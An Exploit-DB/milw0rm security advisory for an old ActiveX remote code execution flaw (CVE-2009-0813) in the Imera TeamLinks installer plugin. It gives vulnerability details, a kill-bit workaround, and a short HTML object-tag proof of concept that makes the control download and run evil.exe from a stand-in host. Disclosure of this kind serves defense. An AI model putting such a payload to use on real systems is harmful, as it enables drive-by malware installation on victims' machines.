Exploit Imera ImeraIEPlugin - ActiveX Control Remote Code Execution

[Exploiter]

EDB-ID

8144

Проверка EDB

1. Пройдено

Автор

ELAZAR

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2009-0813

Дата публикации

2009-03-03

Who:
 Imera(http://www.imera.com)
 Imera TeamLinks Client(http://teamlinks.imera.com/install.html)

What:
 ImeraIEPlugin.dll
 Version 1.0.2.54
 Dated 12/02/2008
 {75CC8584-86D4-4A50-B976-AA72618322C6}
 http://teamlinks.imera.com/ImeraIEPlugin.cab

How:
 This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is to
download and install is indeed the Imera TeamLinks Client software.

Exploiting this issue is quite simple, like so:

<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj">
	<param name="DownloadProtocol" value="http" />
	<param name="DownloadHost" value="www.evil.com" />
	<param name="DownloadPort" value="80" />
	<param name="DownloadURI" value="evil.exe" />
</object>

Fix:
 The vendor has been notified.

Workaround:
 Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the software
manually from: http://teamlinks.imera.com/download.html

Elazar

# milw0rm.com [2009-03-03]